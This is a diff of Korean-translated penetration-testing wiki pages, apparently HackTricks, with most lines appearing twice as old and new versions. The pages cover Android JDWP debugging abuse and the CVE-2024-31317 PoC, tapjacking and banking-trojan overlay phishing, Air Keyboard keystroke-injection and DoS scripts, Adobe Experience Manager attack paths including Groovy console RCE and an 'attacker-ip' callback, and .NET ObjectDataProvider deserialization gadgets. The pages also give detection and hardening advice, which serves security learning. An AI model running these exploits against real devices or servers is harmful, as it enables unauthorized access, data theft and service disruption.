이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 디버거를 사용하여 특정 보안 검사를 우회할 수 있도록 하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다.
|
||||
|
||||
2단계에서는 플래그 값을 814267972로 변경하는데, 이는 이진수로 110000101101000000100010100으로 표현됩니다.
|
||||
|
||||
# **취약점 이용하기**
|
||||
# **취약점 악용하기**
|
||||
|
||||
버튼과 텍스트뷰가 포함된 취약한 애플리케이션을 사용하여 시연이 제공되었습니다. 처음에 애플리케이션은 "Crack Me"를 표시합니다. 목표는 소스 코드를 수정하지 않고 런타임에 "Try Again"에서 "Hacked"로 메시지를 변경하는 것입니다.
|
||||
버튼과 텍스트 뷰가 포함된 취약한 애플리케이션을 사용하여 시연이 제공되었습니다. 처음에 애플리케이션은 "Crack Me"를 표시합니다. 목표는 소스 코드를 수정하지 않고 런타임에서 "Try Again" 메시지를 "Hacked"로 변경하는 것입니다.
|
||||
|
||||
## **취약점 확인하기**
|
||||
|
||||
- `apktool`을 사용하여 애플리케이션을 디컴파일하고 `AndroidManifest.xml` 파일에 접근했습니다.
|
||||
- AndroidManifest.xml에 `android_debuggable="true"`가 존재하면 애플리케이션이 디버깅 가능하고 악용될 수 있음을 나타냅니다.
|
||||
- `apktool`은 코드 변경 없이 디버깅 가능 상태를 확인하는 데만 사용된다는 점에 유의해야 합니다.
|
||||
- AndroidManifest.xml에 `android_debuggable="true"`가 존재하는 것은 애플리케이션이 디버깅 가능하고 악용될 수 있음을 나타냅니다.
|
||||
- `apktool`은 코드를 변경하지 않고 디버깅 가능 상태를 확인하는 데만 사용된다는 점에 유의해야 합니다.
|
||||
|
||||
## **설정 준비하기**
|
||||
|
||||
- 프로세스는 에뮬레이터를 시작하고, 취약한 애플리케이션을 설치하며, `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것이 포함되었습니다.
|
||||
- JDWP (Java Debug Wire Protocol)는 VM에서 실행 중인 애플리케이션을 디버깅할 수 있도록 고유한 포트를 노출합니다.
|
||||
- 이 과정은 에뮬레이터를 시작하고 취약한 애플리케이션을 설치하며, `adb jdwp`를 사용하여 수신 대기 중인 Dalvik VM 포트를 식별하는 것을 포함했습니다.
|
||||
- JDWP(Java Debug Wire Protocol)는 VM에서 실행 중인 애플리케이션을 디버깅할 수 있도록 고유한 포트를 노출합니다.
|
||||
- 원격 디버깅을 위해 포트 포워딩이 필요했으며, 이후 JDB를 대상 애플리케이션에 연결했습니다.
|
||||
|
||||
## **런타임에 코드 주입하기**
|
||||
## **런타임에서 코드 주입하기**
|
||||
|
||||
- 중단점을 설정하고 애플리케이션 흐름을 제어하여 악용이 수행되었습니다.
|
||||
- 악용은 중단점을 설정하고 애플리케이션 흐름을 제어하여 수행되었습니다.
|
||||
- `classes` 및 `methods <class_name>`와 같은 명령어를 사용하여 애플리케이션의 구조를 밝혀냈습니다.
|
||||
- `onClick` 메서드에 중단점을 설정하고 그 실행을 제어했습니다.
|
||||
- `locals`, `next`, `set` 명령어를 사용하여 로컬 변수를 검사하고 수정했으며, 특히 "Try Again" 메시지를 "Hacked"로 변경했습니다.
|
||||
- 수정된 코드는 `run` 명령어를 사용하여 실행되어 애플리케이션의 출력을 실시간으로 성공적으로 변경했습니다.
|
||||
|
||||
이 예시는 디버깅 가능한 애플리케이션의 동작을 조작하는 방법을 보여주며, 애플리케이션의 맥락에서 장치에 대한 쉘 접근을 얻는 것과 같은 더 복잡한 악용 가능성을 강조합니다.
|
||||
이 예시는 디버깅 가능한 애플리케이션의 동작을 조작하는 방법을 보여주며, 애플리케이션의 맥락에서 장치에 대한 셸 접근을 얻는 것과 같은 더 복잡한 악용 가능성을 강조합니다.
|
||||
|
||||
---
|
||||
|
||||
@ -89,9 +89,9 @@
|
||||
|
||||
대상 APK가 `android:debuggable` 플래그와 함께 제공되지 않더라도, 최근 연구에 따르면 Zygote가 명령줄 인수를 구문 분석하는 방식을 악용하여 **임의의 애플리케이션**이 `DEBUG_ENABLE_JDWP` 런타임 플래그로 시작되도록 강제할 수 있는 것으로 나타났습니다.
|
||||
|
||||
* **취약점:** Zygote의 명령 소켓을 통해 제공된 `--runtime-flags`에 대한 부적절한 검증으로 인해 `system_server`에 도달할 수 있는 공격자(예: `WRITE_SECURE_SETTINGS` 권한을 가진 특권 `adb` 셸을 통해)가 추가 매개변수를 주입할 수 있습니다. 조작된 명령이 `system_server`에 의해 재생되면 피해자 앱이 _디버깅 가능_으로 포크되고 JDWP 스레드가 수신 대기합니다. 이 문제는 **CVE-2024-31317**로 추적되며 2024년 6월 Android 보안 게시판에서 수정되었습니다.
|
||||
* **영향:** **모든** 앱(특권 앱인 `com.android.settings` 포함)의 개인 데이터 디렉토리에 대한 전체 읽기/쓰기 접근, 토큰 도난, MDM 우회, 그리고 많은 경우 이제 디버깅 가능한 프로세스의 내보낸 IPC 엔드포인트를 악용하여 권한 상승으로 가는 직접적인 경로를 제공합니다.
|
||||
* **영향을 받는 버전:** 2024년 6월 패치 레벨 이전의 Android 9에서 14까지.
|
||||
* **취약점:** Zygote의 명령 소켓을 통해 제공된 `--runtime-flags`에 대한 부적절한 검증으로 인해 `system_server`에 도달할 수 있는 공격자(예: `WRITE_SECURE_SETTINGS` 권한을 가진 특권 `adb` 셸을 통해)가 추가 매개변수를 주입할 수 있습니다. 조작된 명령이 `system_server`에 의해 재생될 때, 피해 애플리케이션은 _디버깅 가능_으로 포크되고 JDWP 스레드가 수신 대기합니다. 이 문제는 **CVE-2024-31317**로 추적되며 2024년 6월 Android 보안 게시판에서 수정되었습니다.
|
||||
* **영향:** **모든** 앱(특권 앱인 `com.android.settings` 포함)의 개인 데이터 디렉터리에 대한 전체 읽기/쓰기 접근, 토큰 도난, MDM 우회, 그리고 많은 경우 이제 디버깅 가능한 프로세스의 내보낸 IPC 엔드포인트를 악용하여 권한 상승으로 가는 직접적인 경로를 제공합니다.
|
||||
* **영향을 받는 버전:** 2024년 6월 패치 레벨 이전의 Android 9에서 14까지.
|
||||
|
||||
## 빠른 PoC
|
||||
```bash
|
||||
@ -107,13 +107,13 @@ adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> 1단계에서 조작된 값은 파서를 "빠른 경로"에서 벗어나게 하고, `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)가 프레임워크에 의해 제공된 것처럼 두 번째 합성 명령을 추가합니다. 앱이 생성되면 JDWP 소켓이 열리고 일반적인 동적 디버그 트릭(메서드 교체, 변수 패칭, 라이브 Frida 주입 등)이 **APK나 장치 부트 이미지를 수정하지 않고** 가능합니다.
|
||||
> 1단계에서 조작된 값은 파서를 "빠른 경로"에서 벗어나게 하고, `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)가 프레임워크에 의해 제공된 것처럼 두 번째 합성 명령을 추가합니다. 앱이 생성되면 JDWP 소켓이 열리고 일반적인 동적 디버그 트릭(메서드 교체, 변수 패치, 라이브 Frida 주입 등)이 **APK나 장치 부트 이미지를 수정하지 않고** 가능합니다.
|
||||
|
||||
## 탐지 및 완화
|
||||
|
||||
* **2024-06-01** (또는 이후) 보안 수준으로 패치 – Google은 `ZygoteCommandBuffer`를 강화하여 이후 명령이 이 방식으로 밀반입될 수 없도록 했습니다.
|
||||
* 프로덕션 장치에서 `WRITE_SECURE_SETTINGS` / `shell` 접근을 제한합니다. 이 익스플로잇은 일반적으로 ADB 또는 OEM 특권 앱만 보유하는 이 권한을 필요로 합니다.
|
||||
* EMM/MDM 관리 플릿에서 `ro.debuggable=0`을 강제하고 `adb disable-verifier`를 통해 셸을 거부합니다.
|
||||
* 생산 장치에서 `WRITE_SECURE_SETTINGS` / `shell` 접근을 제한합니다. 이 익스플로잇은 일반적으로 ADB 또는 OEM 특권 앱만 보유하는 이 권한이 필요합니다.
|
||||
* EMM/MDM 관리 플릿에서는 `ro.debuggable=0`을 강제하고 `adb disable-verifier`를 통해 셸을 거부합니다.
|
||||
|
||||
---
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는** 공격입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
|
||||
결과적으로, 이는 **사용자가 실제로 희생 앱에서 작업을 수행하고 있다는 것을 알지 못하게 만듭니다**.
|
||||
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용을 희생 앱으로 전달합니다.\
|
||||
결과적으로, 이는 **사용자가 실제로 희생 앱에서 작업을 수행하고 있다는 것을 알지 못하게 합니다**.
|
||||
|
||||
### 탐지
|
||||
|
||||
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (intent-filter가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾으면, **해당 활동이 어떤 권한을 요구하는지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
|
||||
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보내기된 활동**을 검색해야 합니다 (인텐트 필터가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보내기된 활동을 찾으면, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
|
||||
|
||||
앱의 최소 SDK 버전도 확인할 수 있으며, **`android:minSdkVersion`**의 값을 **`AndroidManifest.xml`** 파일에서 확인하십시오. 값이 **30 미만**이면, 앱은 Tapjacking에 취약합니다.
|
||||
앱의 최소 SDK 버전도 확인할 수 있으며, **`android:minSdkVersion`**의 값을 **`AndroidManifest.xml`** 파일에서 확인하십시오. 값이 **30보다 낮으면**, 앱은 Tapjacking에 취약합니다.
|
||||
|
||||
### 보호
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`는 다른 가시적인 창에 의해 창이 가려질 때 터치를 받지 않습니다.
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`의 창이 다른 가시적인 창에 의해 가려질 때 터치를 받지 않습니다.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -56,7 +56,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
완화 방법은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 수신하지 않도록 선택할 수 있습니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용하여:
|
||||
|
||||
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도된 목적을 숨기고 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있음을 확인할 수 있는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악성 애플리케이션은 사용자가 의도한 목적을 숨김으로써 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
>
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정합니다. 활성화되면 프레임워크는 뷰의 창이 다른 보이는 창에 의해 가려질 때 수신된 터치를 무시합니다. 결과적으로, 뷰의 창 위에 토스트, 대화 상자 또는 다른 창이 나타날 때 뷰는 터치를 수신하지 않습니다.
|
||||
|
||||
@ -64,7 +64,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
고전적인 Tapjacking 외에도 현대 Android 은행 악성코드 패밀리(예: **ToxicPanda**, BrasDex, Sova 등)는 **Accessibility Service**를 악용하여 합법적인 애플리케이션 위에 전체 화면 WebView **오버레이**를 배치하면서도 여전히 **사용자 입력을** 아래의 뷰로 전달할 수 있습니다. 이는 신뢰성을 극적으로 증가시키고 공격자가 자격 증명, OTP 또는 심지어 사기 거래를 자동화할 수 있게 합니다.
|
||||
고전적인 Tapjacking 외에도 현대 Android 은행 악성코드 패밀리(예: **ToxicPanda**, BrasDex, Sova 등)는 **Accessibility Service**를 악용하여 합법적인 애플리케이션 위에 전체 화면 WebView **오버레이**를 배치하면서도 여전히 **사용자 입력을** 아래의 뷰로 전달할 수 있습니다. 이는 신뢰성을 극적으로 증가시키고 공격자가 자격 증명, OTP 또는 심지어 사기 거래를 자동화하여 훔칠 수 있게 합니다.
|
||||
|
||||
### 작동 방식
|
||||
1. 악성 APK는 매우 민감한 `BIND_ACCESSIBILITY_SERVICE` 권한을 요청하며, 일반적으로 가짜 Google/Chrome/PDF 뷰어 대화 상자 뒤에 요청을 숨깁니다.
|
||||
@ -98,7 +98,7 @@ wm.addView(phishingView, lp);
|
||||
- `setFilterTouchesWhenObscured(true)` 및 `FLAG_SECURE`와 결합합니다.
|
||||
* 시스템 강화:
|
||||
- *알 수 없는 출처에서 설치* 및 *신뢰할 수 없는 앱에 대한 접근성*을 비활성화합니다.
|
||||
- PlayProtect 및 최신 장치를 강제 적용합니다.
|
||||
- PlayProtect 및 최신 장치를 강제합니다.
|
||||
|
||||
## References
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
@ -26,7 +26,7 @@ nmap -p 8888 --open 192.168.1.0/24
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
안드로이드 핸드셋에서는 책임 있는 패키지를 로컬에서 식별할 수 있습니다:
|
||||
안드로이드 핸드셋에서는 책임 패키지를 로컬에서 식별할 수 있습니다:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
@ -37,9 +37,9 @@ On **jailbroken iOS**에서는 `lsof -i -nP | grep LISTEN | grep 8888`와 유사
|
||||
|
||||
---
|
||||
|
||||
## 2. 프로토콜 세부정보 (iOS)
|
||||
## 2. Protocol Details (iOS)
|
||||
|
||||
### 2.1 레거시 (≤ 1.0.4) – 사용자 정의 이진 프레임
|
||||
### 2.1 Legacy (≤ 1.0.4) – custom binary frames
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
@ -83,7 +83,7 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
|
||||
### 3.2 타겟팅 ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
@ -108,7 +108,7 @@ print("[+] URL opened on target browser")
|
||||
|
||||
## 4. Android Companion – 서비스 거부
|
||||
|
||||
Android 포트(55535)는 **하드코딩된 AES-128-ECB 키로 암호화된 4자 비밀번호**와 랜덤 논스가 뒤따르기를 기대합니다. 구문 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드를 종료합니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자를 연결 해제 상태로 유지할 수 있습니다.
|
||||
Android 포트(55535)는 **하드코딩된 AES-128-ECB 키로 암호화된 4자 비밀번호**와 무작위 nonce를 기대합니다. 구문 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드가 종료됩니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊기게 됩니다.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -142,13 +142,13 @@ Air Keyboard는 **고립된 사례가 아닙니다**. 다른 모바일 “원격
|
||||
* 리스너를 **`127.0.0.1`**에 바인딩하고 원격 제어가 필요할 경우 **mTLS** 또는 **Noise XX**를 통해 터널링합니다.
|
||||
* **온보딩 중 장치별 비밀을 파생** (예: QR 코드 또는 페어링 PIN)하고 입력 처리를 하기 전에 *상호* 인증을 시행합니다.
|
||||
* 원시 소켓 대신 **Apple Network Framework**를 *NWListener* + TLS와 함께 채택합니다.
|
||||
* 프레임을 복호화하거나 디코딩할 때 **길이 접두사 정상성 검사** 및 구조화된 예외 처리를 구현합니다.
|
||||
* 프레임을 복호화하거나 디코딩할 때 **길이 접두사 적합성 검사** 및 구조화된 예외 처리를 구현합니다.
|
||||
|
||||
블루/레드 팀의 빠른 승리:
|
||||
|
||||
* **네트워크 헌팅:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` 또는 Wireshark 필터 `tcp.port == 8888`.
|
||||
* **런타임 검사:** Frida 스크립트 후킹 `socket()`/`NWConnection`으로 예상치 못한 리스너 목록화.
|
||||
* **iOS 앱 개인정보 보고서 (설정 ▸ 개인정보 및 보안 ▸ 앱 개인정보 보고서)**는 LAN 주소에 연락하는 앱을 강조합니다 – 악성 서비스를 발견하는 데 유용합니다.
|
||||
* **런타임 검사:** Frida 스크립트 후킹 `socket()`/`NWConnection`으로 예상치 못한 리스너 목록을 나열합니다.
|
||||
* **iOS 앱 개인정보 보호 보고서 (설정 ▸ 개인정보 및 보안 ▸ 앱 개인정보 보호 보고서)**는 LAN 주소에 연락하는 앱을 강조합니다 – 악성 서비스를 발견하는 데 유용합니다.
|
||||
* **모바일 EDR**은 포트 8888의 평문 TCP 페이로드 내 JSON 키 `"selectionStart"`, `"selectionEnd"`에 대한 간단한 Yara-L 규칙을 추가할 수 있습니다.
|
||||
|
||||
---
|
||||
@ -167,7 +167,7 @@ echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
|
||||
## References
|
||||
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Jul 2025) – Air Keyboard iOS 앱의 원격 입력 주입 취약점 여전히 패치되지 않음](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 원격 입력 주입](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (2025년 7월 17일) – Air Keyboard iOS App의 원격 입력 주입 취약점 여전히 패치되지 않음](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, Adobe Experience Cloud의 일부)는 Apache Sling/Felix (OSGi) 및 Java Content Repository (JCR) 위에서 실행되는 기업 CMS입니다.
|
||||
> 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기 패치되는 긴 CVE 목록을 노출합니다.
|
||||
> 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기마다 패치되는 긴 CVE 목록을 노출합니다.
|
||||
|
||||
아래 체크리스트는 실제 참여에서 계속 나타나는 **외부에서 접근 가능한 (unauth) 공격 표면**에 중점을 둡니다 (2022-2025).
|
||||
|
||||
@ -27,8 +27,8 @@ X-Vary: Accept-Encoding
|
||||
|
||||
경로 | 얻는 것 | 비고
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | **DefaultGetServlet**를 통한 JCR 노드 | 종종 차단되지만, *Dispatcher 우회* (아래 참조) 작동.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름 유출.
|
||||
`/.json`, `/.1.json` | **DefaultGetServlet**를 통한 JCR 노드 | 종종 차단되지만, *Dispatcher 우회* (아래 참조)가 작동함.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름의 유출.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 콘솔 | 기본적으로 403; 노출되고 자격 증명이 발견되면 ⇒ 번들 업로드 RCE.
|
||||
`/crx/packmgr/index.jsp` | 패키지 관리자 | 인증된 콘텐츠 패키지 → JSP 페이로드 업로드 허용.
|
||||
`/etc/groovyconsole/**` | AEM Groovy 콘솔 | 노출되면 → 임의의 Groovy / Java 실행.
|
||||
@ -47,7 +47,7 @@ GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
## 3. 일반적인 잘못된 구성 (2025년에도 여전히 존재)
|
||||
|
||||
1. **익명 POST 서블릿** – `POST /.json`에 `:operation=import`를 사용하면 새로운 JCR 노드를 생성할 수 있습니다. Dispatcher에서 `*.json` POST를 차단하면 해결됩니다. 【】
|
||||
2. **모두가 읽을 수 있는 사용자 프로필** – 기본 ACL이 `/home/users/**/profile/*`에 대해 모든 사용자에게 `jcr:read` 권한을 부여합니다.
|
||||
2. **모두가 읽을 수 있는 사용자 프로필** – 기본 ACL이 `/home/users/**/profile/*`에 대해 모든 사용자에게 `jcr:read`를 부여합니다.
|
||||
3. **기본 자격 증명** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** 활성화 ⇒ `?debug=layout`을 통한 반사형 XSS (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견됨).
|
||||
5. **노출된 Groovy 콘솔** – Groovy 스크립트를 전송하여 원격 코드 실행:
|
||||
@ -104,13 +104,13 @@ python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
|
||||
## 7. 강화 체크리스트 (보고서 권장 사항용)
|
||||
|
||||
1. **최신 누적 서비스 팩**(2025년 7월 기준: 6.5.22)에서 인스턴스를 유지합니다.
|
||||
1. 인스턴스를 **최신 누적 서비스 팩**(2025년 7월 기준: 6.5.22)으로 유지합니다.
|
||||
2. 기본 계정을 제거/회전하고 SSO/SAML을 시행합니다.
|
||||
3. **디스패처 필터**를 강화합니다 – 익명 사용자에 대해 `;`, 인코딩된 줄 바꿈 및 `*.json` 또는 `*.querybuilder.json`을 거부합니다.
|
||||
3. **디스패처 필터**를 강화합니다 – 익명 사용자에 대해 `;`, 인코딩된 개행 및 `*.json` 또는 `*.querybuilder.json`을 거부합니다.
|
||||
4. IP 허용 목록으로 콘솔(`/system/console`, `/crx/*`, `/etc/groovyconsole`)을 비활성화하거나 보호합니다.
|
||||
5. Adobe에서 제공하는 *익명 권한 강화* 패키지를 적용합니다.
|
||||
|
||||
## 참조
|
||||
## 참고 문헌
|
||||
|
||||
* Adobe 보안 게시판 APSB24-69 – “Adobe Experience Manager에 대한 보안 업데이트(2024년 12월)”.
|
||||
* 0ang3el – aem-hacker 도구 (GitHub).
|
||||
|
@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. 이를 통해 RCE를 얻고 **Serialization 라이브러리인** **Json.Net과 xmlSerializer가 어떻게 악용될 수 있는지** 설명합니다.
|
||||
이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. 이를 통해 RCE를 얻고 **Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지** 설명합니다.
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\
|
||||
네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\
|
||||
따라서 임의의 **객체**는 **역직렬화되는 동안** **매개변수와 함께** **함수를 실행**합니다.
|
||||
따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.**
|
||||
|
||||
### **이것이 어떻게 가능할까요**
|
||||
|
||||
**System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다.
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,11 +26,11 @@
|
||||
|
||||
.png>)
|
||||
|
||||
코드의 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 유의하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
|
||||
코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **는 `this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
|
||||
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
|
||||
|
||||
_**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행해 보세요:
|
||||
```java
|
||||
@ -58,8 +58,8 @@ _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를
|
||||
|
||||
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
이는 앞서 제시된 경우와 같은 경우에 매우 유용합니다. 왜냐하면 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될** 때 이 클래스가 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**하기 때문입니다.
|
||||
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
|
||||
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고, **역직렬화될** 때 이 클래스는 **_**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
|
||||
|
||||
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
|
||||
```java
|
||||
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
